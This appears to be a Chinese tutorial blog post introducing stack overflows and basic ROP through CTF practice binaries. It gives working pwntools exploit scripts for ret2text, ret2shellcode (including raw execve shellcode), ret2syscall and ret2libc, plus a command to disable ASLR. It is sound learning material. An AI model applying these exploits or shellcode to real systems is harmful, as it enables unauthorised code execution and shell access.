【Web狗自虐系列1】Pwn入门之初级ROP

0x0 栈介绍

栈式一种典型的后进先出的数据结构,其操作主要有压栈(push)与出栈(pop)两种操作
压栈与出栈都是操作的栈顶
image.png
高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。
程序的栈是从进程地址空间的高地址向低地址增长的。

  • x86
    • 函数参数在函数返回地址的上方
  • x64
    • 前6个整型或指针参数一次保存在RDI,RSI,RDX,RCX,R8和R9寄存器中,如果还有更多的参数的话才会保存在栈上
    • 内存地址不能大于0x00007FFFFFFFFFFF,6个字节长度,否则会抛出异常

0x1 栈溢出原理

栈溢出指的是程序向栈中某个变量写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。
栈溢出的基本前提是:

  • 程序必须向栈上写入数据
  • 写入的数据大小没有被良好地控制

一、简单示例

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,在利用前,我们需要确保这个地址所在的段具有可执行权限,举例

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

这个程序的主要目的读取一个字符串,并将其输出。最终我们想要做到的事可以控制程序执行success函数
使用如下指令对其进行编译

gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example
  • -m32 生成32位程序
  • -fno-stack-protector不开启堆栈溢出保护,即不生成canary
  • --enable-default-pie参数代表PIE默认已开启,需要在编译指令中添加参数-no-pie

Linux平台下还有地址空间分布随机化(ASLR)的机制,简单来说即使可执行文件开启了PIE保护,还需要系统开启ASLR才回真正打乱基址,否则程序运行时依旧会加载一个固定的基址上,可以通过修改/proc/sys/kernel/randomize_va_space来控制ASLR启动与否,具体选项有:

  • 0,关闭ASLR,没有随机化。栈、堆、.so的基地址每次都相同
  • 1,普通ASLR。栈基地址、mmap基地址、.so加载基地址都将被随机化,但是堆基地址没有随机化
  • 2,增强的 ASLR,在1的基础上,增加了堆基地址随机化
    修改指令:关闭Linux系统的ASLR
echo 0 > /proc/sys/kernel/randomize_va_space

image.png
根据分析可知,该字符串距离ebp的长度为0x14,对应的栈结构为

			+--------------------+
			|      retaddr       |
			+--------------------+
			|      saved ebp     |
	ebp---->+--------------------+
			|                    |
			|                    |
			|                    |
			|                    |
			|                    |
			|                    |
s,ebp-0x14->+--------------------+  

通过Ghidra获得success的地址,其地址为0x080491ba
image.png

tips
push ebp是一个函数的开始标志

如果读取的字符串为

0x14*'a' + 'bbbb' + success_addr

由于gets会读到回车才算结束,所以可以直接读取所有字符串,并将saved ebp覆盖为bbbb,将retaddr覆盖为success_addr,此时的栈结构为

			+--------------------+
			|     0x080491ba     |
			+--------------------+
			|        bbbb        |
	ebp---->+--------------------+
			|                    |
			|                    |
			|                    |
			|                    |
			|                    |
			|                    |
s,ebp-0x14->+--------------------+  

由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即0x080491ba在内存中的形式是

\xba\x91\x04\x08

所以构造exp如下

##coding=utf8
# 导入pwn模块
from pwn import *
# 构造与程序交互的对象
sh = process('./01')
# 所要运行的函数的地址
success_addr = 0x080491ba
# code为构造的填充脏字节
code = 'a' * 0x14
# place为填充寄存器的字节
place = 'b' * 0x4
# 拼接payload
payload = code + place + p32(success_addr)
# 打印payload
print(p32(success_addr))
# 发送payload
sh.sendline(payload)
# 将代码交互转换为手工交互
sh.interactive()

执行成功运行vulnerable函数
总结:栈溢出中比较重要的两个步骤分别为

  1. 寻找危险函数(常见危险函数如下)
    1. 输入
      1. gets,直接读取一行,忽略\x00
      2. scanf
      3. vscanf
    2. 输出
      1. sprintf
    3. 字符串
      1. strcpy,字符串复制,遇到\x00停止
      2. strcat,字符串拼接,遇到\x00停止
      3. bcopy
  2. 确定填充长度
    这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离,常见的方法是通过反编译软件,根据其给定的地址计算偏移。一般变量会有以下集中几种索引模式
  • 相对于栈基地址的索引,可以直接通过查看EBP相对偏移获得
  • 相对应栈顶指针的索引,一般需要进行调试,之后还是回转换到第一种类型
  • 直接地址索引,就相当于直接给定了地址
    一般来说,会有如下的覆盖需求
  • 覆盖函数返回地址,直接看EBP即可
  • 覆盖栈上某个变量的内容,需要更加精细的计算
  • 覆盖bss段某个变量的内容
  • 根据现实执行情况,覆盖特定的变量或地址的内容
    之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程。

0x2 基本ROP

ROP适用于开启NX保护的,主要思想:在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓gadgets就是以ret结尾的指令序列,通过这些指令序列,可以修改某些地址的内容,方便控制程序的执行流程。
ROP需要满足的条件:

  • 程序存在溢出,并且可以控制返回地址
  • 可以找到满足条件的gadgets以及相应的gadgets的地址
    如果gadgets每次的地址是不固定的,那就需要想办法动态获取对应的地址了。

ret2text

ret2text即控制程序执行程序本身已有的代码(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(即gadgets),这就是我们所要说的ROP
先查一下保护机制

checksec ret2text

image.png
反编译查看原代码

int main(void)

{
  char buf [100];
  char local_74 [112];
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,1,0);
  puts("There is something amazing here, do you know anything?");
  gets(local_74);
  printf("Maybe I will tell you next time !");
  return 0;
}

程序在主函数中使用了gets函数,明显存在栈溢出漏洞
使用strings查看字符串

strings -t x ret2text

image.png
去Ghidra中查找/bin/sh
image.png
image.png

发现在secure函数中存在调用system(""/bin/sh")的代码,直接控制程序返回至0x0804863a,就可以得到系统的shell了。
构造payload:
确定能够控制的内存的起始地址距离main函数的返回地址的字节数
image.png
可以看到该变量是通过相对于esp的索引,所以需要进行debug,将断点下在call处,查看espebp
image.png
image.png
可以看到esp0xffffd070ebp0xffffd0f8,同时local_74相对于esp的索引为esp+0x1c,据此可以推断:

  • local_74的地址为0xffffd08c
  • local_74相对于ebp的偏移为0x6c
  • local_74相对于返回地址的偏移为0x6c+4
    最后payload如下
from pwn import *
p = process('./ret2text')
target = 0x0804863a
code = 0x6c * 'A'
replace = 0x4 * 'B'
payload = code + replace + p32(target)
p.sendline(payload)
p.interactive()

ret2shellcode

控制程序执行shellcode代码
因为使用了gets函数,可以看出程序依然是基本的栈溢出漏洞
image.png
但是同时程序将对应的字符串复制到了buf2处。简单查看可知buf2bss
image.png
debug一下程序,查看bss段是否可执行
image.png
分析发现,bss段对应的段具有可执行权限
于是就控制程序执行shellcode,即读入shellcode,然后控制程序执行bss段处的shellcode。
偏移量计算,s通过esp索引表示为esp+0x1c
将断点下在call处,查看espebp,如下
image.png
分析可得,esp0xffffd060ebp0xffffd0e8s相对于esp的索引为esp+0x1c因此,可以推断

  • s的地址为0xffffd060
  • s相对于ebp的偏移为0x6c
  • s相对于返回地址的偏移为0x6c+4
    具体的payload如下
# coding=utf8
'''
esp地址:0xffffd060
ebp地址:0xffffd0e8
s相对于esp的索引为esp+0x1c
s相较于ebp的偏移量:0x6c
s相较于返回地址的偏移量:0x6c+4
'''
from pwn import *
sh = process('./ret2shellcode')
# shellcraft.sh() 是 shellcraft 模块中的一个函数,用于生成一个执行 /bin/sh 命令的 Shellcode。
shellcode = asm(shellcraft.sh())
buf2_addr = 0x0804A080

# 偏移量填充加buf2
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
# 交互
sh.interactive()

sniperoj-pwn100-shellcode-x86-64

image.png
checksec分析发现开启了PIE
image.png
分析发现buf分配的空间为0x10,但是read中读取的大小为0X40,明显存在溢出,因此能够使用read来进行栈溢出,下面计算返回地址到buf的偏移量
使用gdb,debug程序,在main函数处打断点,运行到read函数的leave
image.png
buf是通过rsp进行索引的,而rbp相较于rsp的偏移量为0x10,所以buf相较于rbp的偏移量为0x10+8
这里可能会疑惑如何获取buf的地址,分析代码逻辑发现,虽然开启了PIE虚拟化,但是程序在运行时输出了,buf2的地址,因此buf2的问题也解决了
我们还有一个问题就是程序能读取的长度为0x40,其中填充垃圾字符就占有了0x18,因此我们最终只能构造一个长度为40的shellcode
考虑搜一个长度为40的shellcode

https://www.exploit-db.com

这两个都可以

https://www.exploit-db.com/shellcodes/43550
https://www.exploit-db.com/shellcodes/46907

image.png
于是构造的payload如下

# coding=utf8
'''
$rsp     0x00007fffffffdf10 
$rbp     0x00007fffffffdf20
buf距rbp的距离为0x10+8
'''
from pwn import *

p = process('./shellcode')
p.recvuntil('[')
buf_addr = p.recvuntil(']', drop=True)
# 其中24为buf到eip的距离,8是eip的结束位置
offset_addr = int(buf_addr, 16) + 24 + 8
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.sendline(24*'a' + p64(offset_addr)+shellcode)
p.interactive()

ret2syscall

原理:控制程序执行系统调用,获取shell
检测程序开启的保护
image.png
32位程序,开启了NX保护。利用IDA来查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

因为使用了gets函数,可以看出仍然是一个栈溢出。
分析偏移量
gets函数调用下断点,用gdb,debug一下
image.png
分析可得esp的地址为0xffffd090ebp的地址为0xffffd118

  • v4按照esp索引为esp+0x1c
  • v4距离ebp的距离为0x6c
  • v4距离返回地址的距离为0x6c+4
    所以最终的偏移量为112
    由于不能直接利用程序中的某一段代码或者自己填写代码来获取shell,所以考虑利用程序中的gadgets来获取shell,而对应的shell获取则是利用系统调用
    这里不做详细的解释了,简单解释一下,只要我们把对应获取shell的系统调用的参数放在对应的寄存器中,那么我们在执行int 0x80就可执行对应的系统调用。比如这里我们利用如下系统调用来获取shell
execve("/bin/sh", NULL, NULL)

其中,该程序是32位,所以我们需要使得

  • 系统调用号,即eax应为0xb
  • 第一个参数,即ebx应指向/bin/sh的地址(或执行sh的地址也可以)
  • 第二个参数,即ecx应为0
  • 第三个参数,即edx应为0
    想要控制寄存器的值,需要使用gadgets,现在栈顶是10,如果此时执行了pop eax,那现在eax的值就是10。
    eax
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'

image.png
选择第二个来控制eax
ebx
ecx
edx

ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'

image.png
选择这条控制ebxecxedx

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

还需要一个/bin/sh字符串对应的地址

ROPgadget --binary rop --string '/bin/sh'

image.png
最终还需要一个int 0x80的地址

ROPgadget --binary rop --only 'int'

image.png

 # coding=utf8
'''
ROP获取
eax: ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
ebx、ecx、edx:ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
int 0x80: ROPgadget --binary rop --only 'int'
/bin/sh: ROPgadget --binary rop --string '/bin/sh'
'''
from pwn import *
p = process('./rop')
pop_eax_ret = 0x080bb196
pop_ebx_ecx_edx_ret = 0x0806eb90
int_80 = 0x08049421
bin_sh = 0x080be408
code = 112

payload = flat(['A' * code, pop_eax_ret, 0xb, pop_ebx_ecx_edx_ret, 0, 0, bin_sh, int_80])
p.sendline(payload)
p.interactive()

ret2libc

ret2libc1

原理:ret2libc即控制函数的执行libc中的函数,通常是返回至某个函数的plt处或函数的具体位置(即函数对应的got表项的内容)。一般情况下,会选择执行system("/bin/sh"),故而此时我们需要知道system函数的地址
image.png
分析源代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(s);
  return 0;
}

使用了gets函数的时候出现了栈溢出。此外,利用ropgadget,我们可以查看是否有/bin/sh存在
或者直接使用ida查看也可以获取
image.png
分析找到system的地址
image.png
直接返回该处,即执行system函数,对应的payload如下

# coding=utf8
'''
esp     0xffffd070
ebp     0xffffd0f8
s相对于esp的偏移量为esp+0x1c
s相对于ebp的偏移量为0x6c
s相对于函数的返回地址的偏移量为0x6c+4
'''
from pwn import *
p = process('./ret2libc1')
bin_sh = 0x08048720
sys_address = 0x08048460
payload = 'A' * 112 + p32(sys_address) + 'B' * 4 + p32(bin_sh)
p.sendline(payload)
p.interactive()

这里需要注意函数调用栈的结果,如果是正常调用system函数,调用时会有一个对应的返回地址,这里以bbbb作为虚假地址,其后参数对应的参数内容。

ret2libc2

在1的基础上,不再出现/bin/sh字符串,需要自己来读取字符串,需要两个gadgets,第一个控制程序读取字符串,第二个控制程序执行system("/bin/sh")
在没有/bin/sh的情况下,通常需要靠构造gets函数调用,将/bin/sh写入buf2中,作为参数,传入system调用,获取shell
在x86架构中,eax寄存器通常用于存储函数的返回值,ebx寄存器是通用寄存器,用于存储通用数据或地址
在调用gets()函数时,eax寄存器用于存储gets()函数的返回值,表示函数执行的结果,ebx寄存器用于存储字符串的目标地址,即将从标准输入读取的字符串存储到的位置
所以gets()函数会将用户输入的字符串,存储到ebx寄存器指向的内存位置

ROPgadget --binary ./ret2libc2 --only 'pop|ret' | grep 'ebx'
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
# coding=utf8
'''
esp:0xffffd070
ebp:0xffffd0f8
s相较于esp的距离为esp+0x1c
s相较于ebp的距离为0x6c
s相较于返回地址的距离为0x6c+4
'''
from pwn import *
p = process('ret2libc2')

'''
构造调用过程中需要用到gets的地址
pop ebx的地址
system的地址
buf2的地址
'''
gets_address = 0x08048460
system_address = 0x08048490
buf2 = 0x0804A080
pop_ebx = 0x0804843d
payload = flat(
    ['a' * 112 + p32(gets_address) + p32(pop_ebx) + p32(buf2) + p32(system_address) + 'b' * 4 + p32(buf2)]
)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

ret2libc3

在前面的基础上去掉了system的地址,需要同时找到system函数地址与/bin/sh字符串的地址
跟前面类似的地方就不在此赘述了
这里主要讲解如何得到system函数的地址,主要利用两个知识点

  • system函数属于libc,而libc.so动态链接库中的函数之间相对偏移是固定的
  • 即使程序有ASLR保护,也只是针对地址中间位进行随机,最低的12位并不会发生改变
    所以,如果我们知道libc中某个函数的地址,可以确定该程序利用的libc。进而可以知道system函数的地址
    采用got表泄漏,即输出某个函数对应的got表项的内容。由于libc的延迟绑定机制,需要泄漏已经执行过的函数的地址
    所以我们的利用思路是这样的
  • 泄漏__libc_start_main地址
  • 获取libc版本
  • 获取system地址与/bin/sh地址
  • 再次执行源程序
  • 触发栈溢出执行system('/bin/sh')
    payload如下
# coding=utf8
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

# 泄漏puts在plt表中的地址
puts_plt = ret2libc3.plt['puts']
# 获取main的地址
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print("泄漏libc_main_start_main_got地址并且再次返回main函数")
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print("获取真实id")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print("获取shell")
payload = flat(['A' * 104, system_addr, 'A' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()

train.cs.nctu.edu.tw: ret2libc

运行程序,发现泄漏了,puts/bin/sh的地址
image.png
开启了NX和Partial RELR0,同时泄漏出/bin/shputs的地址
image.png
image.png
image.png
偏移量计算
使用ida分析发现,v4依靠esp索引的地址为esp+1C
使用gdb调试,在main处下断点,运行到scanf函数处
image.png
image.png
v4相对于esp的距离为esp+1C
v4相对于ebp的距离为0x1C
v4相对于返回地址的距离为0x20
所以偏移量为0x20
构造最终exp

# coding=utf8
from pwn import *
from LibcSearcher import LibcSearcher
p = process('./ret2libc')
if args['REMOTE']:
    libc = ELF('./libc.so.6')
else:
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    
# 用于获取指定符号在libc动态链接库中的地址的字典,libc是一个ELF对象,它表示libc动态链接库。
# symbols是elf对象的一个属性,包含了动态连疾苦中所有符号及其对应的地址
system_offest = libc.symbols['system']
puts_offest = libc.symbols['puts']
p.recvuntil('is ')
sh_addr = int(p.recvuntil('\n', drop=True), 16)
print(hex(sh_addr))
p.recvuntil('is ')
puts_addr = int(p.recvuntil('\n', drop=True), 16)
print(hex(puts_addr))
system_addr = puts_addr - puts_offest + system_offest
payload = flat([0x20 * 'a', system_addr, 'bbbb', sh_addr])
p.sendline(payload)
p.interactive()
  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ShadowCui

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值